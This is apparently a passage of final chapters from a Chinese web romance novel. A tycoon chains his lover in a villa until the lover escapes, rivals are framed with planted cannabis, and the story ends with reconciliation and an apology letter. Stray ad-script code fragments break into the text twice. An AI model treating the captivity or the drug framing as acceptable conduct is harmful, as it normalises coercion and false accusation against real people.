“……把我脚上的也解开。”易卿尘哽了一下,语气稍软了些,“换裤子不方便,解开。” 楚言嗤笑一声:“不行,戴着它去洗。不方便换裤子就不穿裤子,以后你都穿裙子。” 易卿尘瞪视他:“你疯了吗?你为什么不杀了我?” “杀了你?怎么杀?先拔光你的牙,再灌上一桶洁厕剂吗?咱俩到底是谁疯了?易卿尘,你这条命是我救的,我想怎么处置就怎么处置。我现在不想杀你,那样多没意思。” 咣的一声,楚言重重摔上了门,身后随即传来屋内塑料水杯被打翻在地的声音。 楚言沉着脸,扯松了领带,大步走去顶楼天台。他一时间觉得呼吸困难,只得双手撑着露台边沿,胸腔起伏,上下粗喘着。 他并不是一个大善人,可是对易卿尘从始至终真心实意,捧在手里怕摔了,含在嘴里怕化了。 他曾经远远地羡慕着杨原野,嫉妒他拥有自己掏空心思也得不到的。夜里辗转反侧,却无能无力,只能劝自己想开些,少去自讨没趣。感情不是能勉强来的,他不是不明白。 他买得起全京北最贵的房子,却买不来喜欢的人的一寸真心。 这一次,他以为自己等到了,以为终于守得云开见月明了,没想到到头来一切都是梦幻泡影。 有多少希望,就有多失望。 最讽刺的是,他连替身都不是,只是一个随手拉来凑数的。 这简直是对他莫大的羞辱和嘲弄!他从没感到如此愤怒过。 他比不上一个死人,永远也比不上。 但转念一想,死人不会活过来了,而他有的是时间。 易卿尘,我不会放了你,也不会让你死的,你想都别想。 你可以恨我,恨也是一种很难忘的情感,不是吗? …… 楚言在天台站了很久很久,最终被一通电话叫走了。 季淮山在电话里通知他,一小时前他们已经把警察引到了宋小赢的公寓,警方当场带走了宋小赢和江琳达。 那少量的大麻是他们设计混入两人的食物中去的,足够把那对男女先关上个把月,为他们下一步行动争取时间。 解决这一残局的关键人物在楚默。 楚老爷子已经知晓了这一切,刚刚装病,把楚默骗去了楚家老宅。 虽然天才刚刚亮,一众人已经纷纷前往楚家老宅了。 刚上二楼,楚言就听见走廊尽头传来的争吵声。 楚默怒吼着,对着江鸿大叫道:“江鸿你脑子抽了吗?他们陷害你妹妹,你拦着我干什么?立马放开我!” 江鸿一边拉着扑向季淮山的楚默,一边说:“我妹妹现在只是被控吸食大麻,这点儿小罪对她来说都是最轻的了。” 楚默还在乱吼,楚言走上去,一拳把楚默打倒在地。 “你的女人和兄弟背着你做了多少好事,你知不知道?”楚言大声责问他,“他们都快把楚家搬空了!你个蠢货!” 楚默倒在地上,颈间动脉爆突,怒嗥着:“你们一群小人,诽谤陷害,我要告你们!我的律师呢?我的律师呢?!” 一道低沉的声音传来:“他们说的你不信,那我说的话,你信不信了?小默。” 楚默一头银发凌乱不堪,他弓着背,闻声抬起脑袋。一双猩红的眼睛在看见楚时唯的一刻,瞳仁在眼眶剧烈地晃动,喃喃地说:“爸……这不可能……你怎么也……” …… 楚家老宅的佣人聚到一处议论纷纷,早晨六点,外头一片漆黑,家中灯火通明。 二楼的西面书房里,楚家三父子、楚家四叔公,外加季淮山和江鸿,众人围坐在一张大黄花梨木椭圆形书桌旁。 季淮山将一份文件推至楚默面前:“楚默先生,事情就是这样的,您都清楚了吧?除了海外交易记录和这份亲子鉴定书,我这里还有四叔公提供的宋小赢和江琳达密谋举报您涉黑的录音,另外,宋小赢私联其他董事预备收购楚家的股票,楚老先生已经既掌握了人证,也有物证。” 楚默坐在桌前,一张脸像刚被闪电劈中似的。 江鸿站起来,走上前站在季淮山身旁,说道:“公事基本说完了,我们该做的也都做了。香港那边,江家会断绝和那些非法海外账户的交易往来,我父亲说他也会不日登门致歉。如果没有别的事,我们就先走了。至于你们楚家的家事,我们不便参与,就先告辞了。” “等等,”楚默声音嘶哑,望着季淮山问道,“他们俩……多久能出来?” “食物里的大麻含量并不高,大概会处十五日以下拘役。”季淮山说,“我们设计他们,只是想给下一步清理海外资产争取时间,下一步你们自己定夺吧。只要不会对江鸿、还有江家造成实质影响的,都不在我的管辖范围内。” “好,我知道了。”楚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 默说。 外人走后,房间里只剩下楚家的四个男人,沉默填满房间的每一个缝隙,四面墙壁压得人喘不过气。 四叔公先忍不住开了口:“大哥,我是被宋小赢拿住了把柄才不得不帮他们做事的。小言找了我之后,我就认栽了。看在这次我也是揭露有功的份上,大哥就让我退休吧。我打算回珠海养老,不再回来京北了。” 楚时唯微微阖上眼睛,点了点头:“老四,都是自家兄弟,我不会赶尽杀绝。临走之前,还请你帮我做个证人,我今天要解决他们两兄弟的恩怨。” 四叔公看了一眼楚言和楚默,叹了口气说:“是,当年的事儿,是该告诉他们了。” 楚言扭头看向父亲和四叔:“当年到底有什么事?” 楚时唯从衣服的内兜里掏出一张照片,黑白照片边缘泛黄。照片上是一对青年男女并肩而立,女人怀抱着一个襁褓婴孩,照片右下角写着:上海照相馆,一九九零年三月二十七日。 “这是……”楚言只认出了照片中的女人,“是伊仁阿姨!” 黄伊人是楚默的妈妈,楚言一直亲切地叫她伊仁阿姨。 楚默听到自己母亲的名字,原本木僵在脸上的五官忽然动了,一把抓起桌上的照片。 “小默,这照片里的男人,是你的亲生父亲。”楚默一瞬间怀疑自己耳朵坏掉了,他不是楚家的亲儿子吗?…… 楚时唯的声音缓慢而低沉,终于讲起了那一段三十多年前的旧事。 楚时唯曾是上海空军学院的学员,而照片上楚默的生父正是楚时唯在学校最好的兄弟,毛清烈。空军学院毕业后,楚时唯下海经商,毛清烈继续留在空军部队,被任命为飞行团干部。二人虽不在一处,却常年保持通信,无话不谈,视彼此为知己。 毛清烈在一次野外拉练中意外和富家女黄伊仁相恋了。两人遭到女方家庭的强烈反对,黄伊仁离家出走了,在没有名分的情况下和毛清烈过上了夫妻生活,日子虽然清贫却很幸福。 儿子两岁的一天,空军政委忽然来到家里,带来了毛清烈的死讯。 毛清烈驾驶的苏二七飞机因滑油离心通风器破裂,滑油蒸汽外泄起火,在着陆过程中坠毁,毛清烈试图弹射逃生失败,壮烈牺牲,年仅24岁。 黄伊仁看着年仅两岁的孩子,做了一个决定。她不愿毛清烈死后被人诟病未婚生子,私德有亏,于是独自带着孩子离开了上海,辗转到了京北,靠着给人缝补浆洗辛苦度日。 与此同时,得知毛清烈死讯的好友楚时唯一直在寻找黄伊仁和孩子的下落。 皇天不负有心人,楚时唯终于在几年后的京北贫民区找到了他们。 彼时,楚时唯已经发家置业,和妻子叶韵育有一子,取叫楚言。楚时唯见到黄伊仁和那孩子,小孩俊秀可爱,眉眼简直是毛清烈的复刻,楚时唯被勾起和毛清烈出生入死的回忆,心中悲痛不已。和叶韵商量过后,楚时唯决定将黄伊仁和孩子接到楚家生活。 为了防止下人们慢待二人,叶韵主动提出,同家里人谎称那小男孩就是楚时唯遗落在外的亲生儿子。楚时唯亲自为孩子取名楚默。 默,是“慈亲不忍诀,昆弟默相顾”的“默”,寄托着楚时唯对毛清烈的怀念。 黄伊仁和楚默开始在楚家生活,很快,楚言和楚默两个孩子都长成了小小少年。 在楚言的记忆中,伊仁阿姨总是对他十分温柔,弟弟楚默活泼机灵,他们就是心无隔阂的一家人。 可惜好景不长,一次,叶韵带自己的胞妹去韩国旅行,不巧遇上船难,最终只有妹妹活了下来。楚言失去了母亲,楚时唯失去了妻子。 在那以后一年,楚时唯迎娶了黄伊仁,给了她正妻的名分,让她免受议论,私下待之如家人,两人并无夫妻之实。 黄伊仁把对楚家的感激都回报在了楚言身上,陪伴楚言的时间甚至超过亲生儿子楚默。 下人里有好事儿的挑拨,总在楚默面前说三道四。十几岁的楚默不记得从什么时候起,一直有一个奇怪的念头扎根在脑子里——“哥哥和已故的叶韵都不是好人,他们都忌惮他今后会分走楚家的钱。哥哥对他的好都是假的,装出来的。他的楚言哥今后也会抢走他的妈妈。” 二零零三年,楚言和楚默都在上初中,全国突然爆发了非典,那是一种传染性极强的肺炎。 楚言某天放学回家之后就开始发烧,肌肉疼。所有人都不敢靠近他,只有黄伊仁不顾阻拦,前去照顾。半个月后,楚言从医院出院,而伊仁阿姨的生命却永远地留在了医院冰冷的病床上。 自那以后,楚默就把对妈妈的思念化成了对哥哥的恨,在他心里,是楚言害死了自己的妈妈。这扭曲的感情像一颗种子,在他心里疯涨,日夜折磨着他,直到撑破了他的良心,最终对楚言动了杀心…… 四叔公颇为感慨地说道:“老二,你爸刚刚讲的都是真的。这件事儿,在现在还活着的人里,只有我和楚言的小姨知道了。咱们都是一家人,不会骗你。你那个江琳达早在认识你之前就认识宋小赢,她想借着楚家的势力夺取江家的产业。宋小赢就给她出主意,让她模仿伊仁的模样换取你的青眼。你不在京北的时候,江琳达都是住在宋小赢那里的。” 楚时唯和四叔公把该说的都说了,所有人都看着楚默,楚默整个人发懵般看着前方,一室又陷入沉默。良久,只听楚默用细弱蚊蝇的声音问了一句: “爸,您刚刚说我的名字,是什么意思?……” 楚时唯握住楚默冰冷的手,一字一句地说:“慈亲不忍诀,昆弟默相顾。小默,爸爸希望你们兄弟俩互相照顾,就像曾经我和我的兄弟一样。” “昆弟默相顾……”楚默喃喃念着,脑中浮现起一幅小时候的画面。 镀金的夕阳里,黄伊仁在学校门口等楚言和楚默放学。下课铃声响起,学生们纷纷飞奔出校园。风将黄伊仁的红色长裙吹胖,她微微蹲下,一手一个,揽住两个孩子,温柔地说:“小言小默,你们笑起来的样子还真像一对亲兄弟。” 楚默望着对面三十七岁的楚言,他没有任何血缘关系的哥哥,突然笑起来,笑着笑着,脸上竟挂满了眼泪。 他用了快二十年时间,在痛苦里萃空了骨头,剖心挖肝地恨了半生,一瞬间,竟然不知道该恨谁了…… 103.103 终章 这些天,随着楚家事情的解决,楚言也多少松了口气。十几年没休息过,这次索性告了半个月的假,别人都猜他是去马尔代夫夏威夷什么的热带海岛,殊不知他整日都呆在家里,陪他的心尖儿。 易卿尘除了最初绝食了两天,后来便看似彻底放弃了抵抗,除了不哭不笑没什么情绪以外,这些天一直都表现得很听话。 因为不敢确定易卿尘是真的放弃轻生了,还是故意在演戏给他看,所以楚言还是坚持把人锁在屋里。 医生说易卿尘由于受到太严重的刺激,脑内海马体受损,需要补充神经营养素,还有多休息。吃了医生开的药,易卿尘一天有十几个小时都在睡觉。醒着的时候他会看看书,拿着笔在纸上随便涂涂画画。楚言不许他听歌、弹琴,没收了他的手机,更不准他上网。 新日换旧月,一晃眼,京北迎来了入冬以来的第一场雪。 楚言的别墅在山里,四周都是大棵的参天松树,后院的石子路通往野山里的一条小溪。 雪停了,屋内被空调的热风吹得暖烘烘的,易卿尘隔着玻璃窗望着外面的积雪,目光沉静如深。 楚言坐在对面的椅子上,见易卿尘已经快把门口那棵松树盯穿了。浓密的睫毛在鼻梁周围投下阴影,从楚言的角度,看不清易卿尘眼神里的情绪。 “盯了这么半天,你就那么想出去?”楚言试探性地问。 易卿尘转过头来,眸中一派空茫,又转瞬即逝。似乎是见楚言心情很不错的样子,易卿尘轻声问道:“我可以出去吗?” 楚言没直接回答,站起身来走去打开柜子的一个抽屉,拿出一个黑色皮质颈圈,颈圈缀了几颗铆钉、连着一条银白色铁链子,像条拴狗绳,更像是某种玩具。 楚言冲易卿尘晃了晃:“换这个?” 易卿尘低头看了一眼自己身上穿的白色裙子和脚踝上的镣铐,没什么表情地点了点头。 “出门我想穿裤子,还有,内裤。” 难得易卿尘主动开口说话,还提了要求,楚言也没反对,给他解开了脚镣,看着他换裤子。楚言的毛衣穿在易卿尘身上显得有点宽大,袖子挡住半只手掌,领口松垮地垂搭着,露出苍白的锁骨和凹陷的颈窝。楚言盯着他看了半天。 换好衣服,易卿尘走过去,乖乖伸出自己的脖子。 楚言拿起项圈,弄到一半又平白生出一些不忍心,这种羞辱感太重的道具配不上易卿尘那双干净清冷的漂亮眼睛。 最终,楚言只用了一副手铐把他和易卿尘一人一只手铐在一起,拉着人出了门。 雪后初晴,空气中弥漫着淡淡的松香,两人踩在薄薄的雪地上,发出咯吱咯吱的轻响。 楚言自顾自地说着话,易卿尘只是安静地走在一旁,并不搭腔。楚言也不生气,反而觉得这雪天让他的心情很放松。 “京北这些年啊越来越热了,不知道是不是因为全球变暖,我小时候到了这个月份地上早就结冰了,什刹海的冰场也差不多要开了。” “对了,你会滑冰吗?” “你不说我也知道,你长得就不像是体育好的样儿,太瘦了,晚上我叫阿姨炖只土鸡,你也长点儿肉。” “……” 一路沿着小路往山里去,快到小溪那段纯是野路,粗砾的石头裹着冰雪有些滑脚,楚言伸手牵住易卿尘的手,继续往前走。 终于到了小溪,溪水看起来跟平时一样,雪融化在溪水里,水位有少许的上涨,但肉眼看着也就最多不到半米深。 易卿尘探身往小溪里瞅了会儿,楚言笑着问道:“看什么?又没鱼,你个馋猫,饿了?” 易卿尘收回了视线,微微向上牵了下嘴角。 楚言见状,笑意更浓了,终于找到这个机会,开口说道: “你的签证昨天寄回来了。” 楚言往后一用劲儿,手被手铐的拉力拽着身体,他轻而易举便把易卿尘纳入怀中,易卿尘静静地被他抱着,楚言一时间感觉心里满登登的。 “宝贝,咱们下周就出国吧。” 楚言抬起易卿尘的下巴,摸了摸他轻微皱起的眉头,“说话,回答我。跟我出国,你愿意吗?” 易卿尘很轻地叹了口气,稍稍踮起脚尖,在楚言的嘴唇上轻啄了一口。 “愿意。” 轻轻亲的这一下,楚言感觉嘴巴跟过电似的,立时就麻了。这还是易卿尘破天荒头一遭主动亲他。亲得他原本就不错的心情,此刻简直要被抛到天上去。 他难以置信地追问:“你真愿意了?你知道我说的是什么,不是出国去玩儿,我可是要跟你领证去。” 易卿尘抬了下眉,“怎么,你当我是三岁小孩,会以为是出国去旅游?” 那倔强的眼神里流露出一丝不满。 楚言看了更高兴了!觉得冲他发小脾气的易卿尘简直可爱死了,赶紧凑近了哄道:“我不是那个意思,宝贝,太突然了,我就多问一句。跟我说说,你是怎么相通的?” 易卿尘往楚言怀里贴了贴,沉默了片刻后颇为怅然地说道: “他是因为我才死的,我心里难受,你能理解吗?” “嗯,能理解,人之常情。” “一开始真的很难熬,可自从上次死过一次之后,我心里好像不那么疼了,”易卿尘抬头看着楚言,眼神湿润,“我妈是那个样子,还有姨妈,都靠我养活,无论如何我也得继续生活下去啊,不然她们怎么办呢?” 楚言听着,用手抚摸着他的后背。 “况且,还有很多粉丝喜欢听我唱歌,言哥,你不是也喜欢吗?” 楚言认真地点点头,“喜欢,特别喜欢。” 易卿尘接着说:“虽然我不知道我现在对你到底是什么感觉,但这些天你一直在家里,我好像也已经习惯了这种生活,甚至有点儿暗暗希望你能多陪我。如果去了国外,能忘掉以前不开心的事,我也许会重新再开心起来?阿野在天上也会祝福我的,是吗?” 楚言握着易卿尘的手,带到唇边吻上去,声音不可抑制地有些发颤,“当然了,他不是在纸飞机上写了吗,希望你好好生活,当他没来过。相信我,我们会很幸福的,宝贝,一直沉溺于过去才是真正的胆小鬼,你愿意试着走出来,我真的太高兴了。” “言哥,可我还是有点儿害怕。” “怕什么,说出来,以后你有什么害怕的事都可以告诉我。” “我怕你有一天会对我厌烦了,玩腻了,就不要我了。”易卿尘垂下眼睫,显得很落寞。 楚言笑了起来,随后把声音放得十分温柔,附耳说道:“瞎想什么呢,怎么可能?我的小尘浑身上下,没有一处是不漂亮的。自打认识你那天起,我的眼里就看不见别人了,就连自己做那事儿的时候,脑子里想的也都是你。你要是不放心,给你个链子,也把我锁起来?” 易卿尘愣愣地盯了楚言几秒钟,之后竟哭了起来,眼泪像断了线的珍珠,把楚言的心都哭化了。 “怎么了,宝贝,怎么哭了?” 楚言慌乱地伸手去裤兜里翻找纸巾想给人擦眼泪,谁知戴着手铐的胳膊一动,牵着易卿尘的手腕跟着拽动,痛呼了一声。 “好了不哭了,你配合我一下,我拿个纸巾给你擦擦。” 易卿尘眨着一双水汪汪的小鹿眼,边啜泣边说道:“我不锁你,你也别锁我了。我又不是一条狗,我不喜欢那样……你跟我结婚,难道是要用狗链,用手铐把我绑去吗?那样所有人都会笑话我的,我没脸见人了……” “给你解开也行,但我有个条件。”楚言说着,指了指自己的嘴巴,“亲我。” 易卿尘抽了抽鼻子,环顾了一下四周,“在这儿吗?一会儿有人过来看见可怎么办?” “这片林子都是楚家的私产,放心吧没人。来,亲吧。” …… 山谷里一声鸟鸣,云雀扑腾着翅膀向空中飞去,溪水潺潺,松树枝上浅浅的积雪被震落在易卿尘的脸颊上,打断了这激烈又漫长的吻。 两双眼睛对视着轻喘,只片刻后,楚言低下头,又想继续。易卿尘别过头去,脸上是害羞的潮红,他轻声说:“哥,我站不住了,还要的话,先把我手铐解开,我想……想搂着你脖子……” 楚言喉结滚动,咽了口唾沫,“行,一会儿给我摸摸。” 易卿尘羞怯地低下头,小声“嗯”了一声。 楚言急忙用另一只手掏出兜里的钥匙,由于太心急,插了几次才插进去。怕易卿尘勒得疼,楚言先把易卿尘手腕上的铐子解开了,又低头去解自己手上的。 “宝贝,过来帮我一下,我这自己对不准。” 易卿尘转了转手腕,定睛望着他,答道:“好,我来帮你。” 易卿尘从背后走近楚言,抬起了两只胳膊,慢慢变了脸…… 哗啦——!! 楚言毫无防备间被一股巨大的外力推进了溪涧里,跌落时,腰部磕到一块大石头的尖角,疼得他眼冒金星,大脑发麻。等他全身湿透,好不容易爬上来,松林中已经空无一人,安静得可怕。 易卿尘跑了。 …… 为什么? 楚言胸意如堵,感觉呼吸困难。 易卿尘,你为什么? 这充满危险的世界,你要跑去哪儿?如今只有我才能保护你,你不明白吗…… 我从来都没想向你索取什么,只是想给你更多。 我已经把心都掏出来了,你为什么一定一定要打烂它……! 易卿尘……你,太薄情了。 是不是给你的教训还不够? 外套掉在地上就跑了,妈的,今天只有零下一度…… 天色越来越暗,树林中不时地传来奇怪的声音,不知是野兽,还是来抓他的人,他恍惚听见有人群远远地叫他的名字。 易卿尘凭着直觉疯狂地奔逃,一刻也不敢停,心跳的隆隆声震耳欲聋。 不知道跑了多久,他终于看见了车道。 易卿尘喘着粗气,虽然已经没有力气了,却还是凭着意志力沿着车道往前跑,一边逃离,一边希望能拦到一辆车,把他带走。 但他还没想好到底能躲去哪儿。 帝京公馆的房子是楚言的,他不敢回去;丞相胡同的老房子也不安全,楚言上次就是在那儿找到他的;去找宗天天?可是他没有手机,联系不上宗天天,又不知道宗天天的住址。或许可以去电视台,去那门口等宗天天明早上班?这倒是个好主意。 边跑边想着,远处一道车灯越来越近。易卿尘仿佛看见了希望的曙光,冲到马路中央使劲地挥手。 车子在他面前停了下来,易卿尘跑去拍了拍驾驶室的车窗,准备央求司机师傅帮帮他。 车窗降下来,一张熟悉的脸诧异地望着他:“小易?” “静姐……怎、怎么是你……” 易卿尘脑海中刹那间浮现出吴芷静每每看向楚言的爱慕眼神,他心中一颤,顿觉不妙。 吴芷静是楚言的人,也是个极其干练狠厉的女人,她一定不会帮自己逃跑而背叛楚言的。这次如果被抓回去,楚言不会放过他的。被拆穿这一次,今后任他再怎么演戏都没用了。他不要一辈子被囚禁起来,过着没有尊严,像狗一样的日子。 易卿尘撒腿就跑,全然不顾身后吴芷静如何大声叫他的名字。 没跑多远,吴芷静的车子就从身后追了上来,迅速超过他挡在路中间。 易卿尘左右看了看,他只剩一条退路了,那就是逃到路旁的树林里。那底下不知是深谷,还是乱石,会不会下一秒就被猛兽撕成碎片。 吴芷静从车上走了下来,手里还握着电话。 糟了,她一定是已经通知楚言了。 易卿尘紧咬住后槽牙,一步一步往后退。 “上车吧!”吴芷静说道。 易卿尘真的已经没有力气了,在决心跑回树林之前,他抱着最后一线希望深深地看着吴芷静,哀求道:“静姐,你放了我吧,就当没见过我,行吗?” 吴芷静停在他面前,说道:“小易,你冷静下来听我说。跟我走,小野没死。” 易卿尘怔愣在原地,“……不可能……你想把我骗回去吧……不可能的……” 吴芷静在手机上点了几下,举到易卿尘的面前,那是一个来自河北的通话记录。 “我之所以大半夜的赶来见楚总,就是刚收到了河北一个乡镇卫生所打来的电话,说他们那儿有一位病人昏迷了一个多月,今天白天醒了,说自己叫杨原野,想要联系易卿尘。卫生所把电话打到咱们公司去了,下面人转给我之后,我就和小野通了电话。相信我,他真的没死。” 易卿尘捧着吴芷静的手机,忽然又哭又笑。 “跟我上车吧,小易。先找个地方给你换身衣服。” 吴芷静使劲把易卿尘从地上拉起来,看他这狼狈不堪的模样,露出同情的表情。 “静姐,谢谢,可如果被他知道,我怕会连累你……你不要管我了,我去前面拦车,自己走……” 吴芷静皱了皱眉,说道:“其实前几天我去看过你,可你在睡着,也没人告诉你我去过吧?……唉,我都看见了,你脚上的铁链子,还看见你穿着,嗯,穿着裙子……我也很惊讶。小易,其实楚言他不是坏人,我跟了他这么多年,自认为很了解他的人品,也清楚他有多在意你。也许最近发生的事情太多,让他失了智……你放心吧,我会劝他的。他不会把我怎么样,你先跟我走。” 易卿尘跟着吴芷静上了车,车子一路往市区里开。 吴芷静在车上给姬波打了个电话,说明了情况。到了约定好的地点,吴芷静把易卿尘交给姬波,一个人又掉头朝楚言的别墅开去。 易卿尘上了车,看见姬波的光头,听到他熟悉的东北腔,有种恍如隔世的不真实感。 “咋整成这样呢?哥现在就带你去接他,你们俩这一天天的能给我吓死,真愁人。”姬波说着,把自己的羽绒服递给易卿尘,嘱咐道,“后排宽敞,你躺一会儿,眯一觉,到了地方哥再叫你。盖严实了,别冻出毛病,不然小野那混账玩意儿又得冲我嚷嚷。” 车子一路往河北开,车内的音乐轻柔而舒缓,空调吹出来的热风让他觉得浑身暖烘烘的,易卿尘窝在座位里,看着一路后退的路灯,依然不敢相信他就快见到杨原野了。 也许这又是他的一场梦,一个幻觉。 如果是那样,他真希望这场梦不要醒来。 …… “喂,易卿尘!起床啦。” 易卿尘缓缓地睁开眼睛,太阳的光线刺得他不舒服。眼前浮现出棕色皮革的汽车座椅,视线看向车外,从景物判断,车子该是停在了一个好像休息站的地方。 这时右手边一个熟悉的声音再次响起:“喝冰豆浆还是热豆浆?姬哥去买了。” 易卿尘慢慢扭过头,只见杨原野正笑眯眯地瞧着他,早晨温柔的风微微拂动他的头发,露出那张骄傲又懒散的脸。 “说啊,冰豆浆还是热豆浆?” 易卿尘安静地盯着他看了几秒钟,“先别说话,等我一下。” 杨原野就那么瞅着他。 易卿尘倾身凑近了杨原野,视线落在他的嘴唇上,杨原野自然而然地微微张开了原本抿着的唇,迎过来。 谁知易卿尘一低头,一口叼住了杨原野的脖子,发了狠力咬下去——温热的皮肤包裹着的血管里有滚烫的心跳。 “啊——喂——!谋杀亲夫啊你!!!” 杨原野捂着脖子哇哇大叫,易卿尘终于松开嘴,又狠掐了一把自己的大腿,嘶—— 真疼。 真好。 不是梦。 易卿尘深深地吸了口气,扭回身子,板正地坐好,转头看向窗外,视线落在树梢上那一对啁啾鸣啭的鸟儿身上,说道:“我要热豆浆,跟哥说,还要一个茶叶蛋,哦,两个吧,我有点儿饿了。” 过了几秒钟,一只手伸到他面前,指间夹了张面巾纸,好听的声音带着磁:“哭完就过来抱我。” 什么呀,他已经偷偷地哭得很隐蔽了,还是被发现了,真是丢人。 易卿尘接过纸巾,默默地擦眼泪和鼻涕,可是越擦越多,眼泪像忘了关掉的水龙头似的…… 杨原野从背后紧紧地抱住了他,用欠嗖嗖的语气说道:“这段时间很艰难吧……以后都交给老公吧,那些糟心事儿不用你管,我来处理。你就做我背后的男人就行!” 易卿尘被逗得一笑,啵儿的一声,鼻涕冒了个泡泡,他脸上一红,顺势扭身给了杨原野一拳,被杨原野一把抓住手腕,按在椅背。两人吻到最后,脸上都湿漉漉的,分不清到底是谁的眼泪。 “小尘,我回来了。” 从今以后,你所有的眼泪,都只会是因为幸福。 …… 日月轮转,又是一个大晴天,看看日历,距离元旦只剩一天了。 杨原野在屋里一边给那盆弗朗花浇水,嘴里一边哼着歌:“做你的男人,二十四个小时不睡觉,小心翼翼地嗯嗯嗯嗯嗯……” 后面歌词记不住,改成吹口哨。 易卿尘从里屋探出头,手里攥着电话,冲杨原野命令道:“那个谁,老宗到楼下了,你快去接一下!” “遵命!”杨原野放下水壶,拿上钥匙,站在玄关穿鞋,“做你的男人,二十四个小时不睡觉,嘘嘘嘘嘘嘘嘘嘘嘘嘘嘘……不管世界多紛擾,嘘嘘嘘嘘嘘嘘嘘嘘嘘嘘……” 走廊里一路都是杨先生嘘嘘嘘嘘的声音。 自上次杨原野回来后,他独自去找了趟楚默,把小白收集的高飞宋小赢他们做的一些非法勾当的证据交给了楚默,一来是同楚默和解,二来也是暗示楚默他们已经捏住了尚星的把柄。后来听说高飞作为宋小赢的人,已经和其它爪牙一样被楚默尽数拔去。宋小赢和江琳达因为金融诈骗、大额行贿、非法洗钱等十几项罪名,都被判了重刑。 另一边,易卿尘正式向盛世娱乐提出了解约,但对此楚言那边一直没有动静,总让人感觉十分不安。 易卿尘的身世像个定时炸弹,昨天可以被楚默所利用,明天就可能成为楚言威胁易卿尘的砝码,想来想去,杨原野决定先下手为强。 杨原野其实早就暗自收集了很多当年易小雪案件的资料,这回他和宗天天一起又走访了许多当年的邻里街坊,片警和狱警。最大程度上还原了案件的全貌,制作了一期 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纪录片,在京北法制频道9点档播出。片子里有易小雪年轻时的照片,还有她近期的采访,那样的美貌引来了网友的普遍同情。当然,也有些质疑的声音,引发了许多自媒体的激烈讨论。 抓准时机,易卿尘在微博上公开承认,纪录片里的易小雪就是自己的母亲。当年收留易卿尘的孤儿院院长也站出来回忆那些年,这个小孩身上经历的不公平遭遇。 自此之后,虽然有一批粉丝因此脱粉,但仍然有绝大部分粉丝更坚定地站在易卿尘身后表示支持。在这件事里,制作节目和引导舆论,宗天天都是第一大功臣,所以今天杨原野和易卿尘请他来家里吃答谢宴。 三个人在家里煮了个鸳鸯火锅,热气腾腾的弄得满屋子都是香辣的肉香。 宗天天夹了一口涮毛肚,咯吱咯吱大口狂嚼,“我说易卿尘,你现在也没工作了,成天在家呆着无聊不无聊啊?要不下周跟我去团建啊,我们科室全是帅哥美女!” 杨原野立马打住他的话,“宗天天,你不去努力追妻,跑我们家来怂恿易卿尘出轨搞外遇,你安的什么心啊?” “哈哈,你俩别闹了,”易卿尘笑呵呵地岔过话题,“老宗,你和瑶瑶复婚的事儿怎么样了?” “怎么样?不怎么样呗!要不我有空儿跟你们两口子吃火锅扯犊子?”宗天天把嚼不动的毛肚吐在面巾纸上,“赶紧都捞出来,毛肚煮大劲儿了。” “你真废物,要我说啊,你就找一天趁她心情好,打一炮儿,我看她也对你有意思,就是欠个台阶。” 易卿尘白了杨原野一眼,“你这出的什么馊主意?老宗,你别听他的。” 宗天天原本还挺有气势的,听完这话反而臊眉耷眼起来,半天来了一句,“我就是这么干的,结果人家没尽兴,嫌我太快了,不乐意复婚了。” “噗——”杨原野一口可乐喷出来,“傻叉!别人都扬长避短,你特么反着来。” 说着,杨原野拿胳膊肘怼了一下易卿尘,“宝贝儿你说,咱今年过年给老宗送啥礼物好?” 易卿尘一脸严肃地清了清嗓子:“汇仁肾宝,他好我也好。” “哈哈哈哈哈——” 宗天天看着对面笑作一团的俩人,无奈地摇摇头,拿筷子在锅里翻找刚下锅的鹅肠,一边哼起了杨老师今日专属歌曲:“做你的男人,二十四个小时想睡觉,嗯嗯嗯嗯——” “叮咚!” 门铃响了,杨原野起身去开门。 “静姐,你怎么来了?” 吴芷静穿了一件高档驼色长大衣,挽了个高髻,站在门口冲屋内的人挥了挥手,“没事先说一声就过来,没打扰你们吧?” 易卿尘起身迎了过来,“怎么会?静姐快进来坐。” “我就不进去了,小易,我给你带了一样东西。”吴芷静说完,又面露难色地看了一眼杨原野。 易卿尘立刻心领神会道:“没事儿静姐,我俩之间没有秘密,你想说什么就直说好了。” 吴芷静想了想,从包里拿出一个文件袋,递给易卿尘。 “你提出解约的事情,我们今天开了高层会议,楚总也来了,关于违约金以及后续的事宜,都写在合同里了,你看看吧。” 易卿尘深吸了一口气,违约金如果是天价的话,他也出不起,也就没法解约,今后就还得为楚言卖命,楚言想在工作上磋磨他、打压他简直是易如反掌。 见易卿尘迟迟没动作,杨原野接了过去,扯着封口处的白色线绳一圈一圈地打开了文件袋。 杨原野快速地扫视后咔咔翻页,翻到一半忽然怔住,难以置信地望向吴芷静。 吴芷静给了杨原野一个肯定的眼神,说道:“你没看错。” 那么恐怖吗?该不会是几个亿吧! 易卿尘抻长脖子一看,发现在违约金那一项,金额是:人民币一块钱。 楚言竟然放过他了,易卿尘觉得心中涌起一股难以名状的复杂情绪。 吴芷静笑从兜里掏出一个信封,说道:“楚总今晚的飞机去欧洲了,他临走时给了我一封信让我转交给你。” “给我吧。”杨原野拿过信封笑嘻嘻地说道,“静姐要不要进屋吃点儿?我们涮火锅呢!” 吴芷静摆摆手,“不了,你们吃吧,新年快乐!”说完拍了拍易卿尘的肩膀,转身离去。 杨原野关上门,拿着信封一个人颠颠儿地跑去阳台,还锁上了阳台的门。 宗天天一脸不解:“这煞笔搞毛线呢?” 易卿尘斜他一眼:“说谁傻逼呢?别骂人。” “呃……”宗天天一脸生无可恋,“你俩别再虐狗了成吧?” 杨原野胡乱地把信奉撕开,摊开对折好的信纸。是楚言亲笔手写的: 【小尘, 我走了。爸爸年纪大了,我和楚默决定陪他去欧洲休养身体,你将有很长一段时间不会看见我了。 记得那晚吴芷静对我说:“折断他的翅膀,那不是爱。” 是我错了。对于曾经在别墅对你做过的事,我很惭愧和抱歉。 我曾经以为时机决定一切,如今才知道,只有对的人,他出现的那一刻才是对的时机。 还有,我以你的名义存了一笔钱在XX信托公司,作为你未来生活的抗风险保障。请你不要拒绝我最后的好意,这是我能为你做的,最微不足道的小事。希望你随时有底气离开不喜欢的人和事。 祝你幸福,自由,不生病。 P.S. 如果他对你不好,我愿意回来带你走。 楚言】 …… 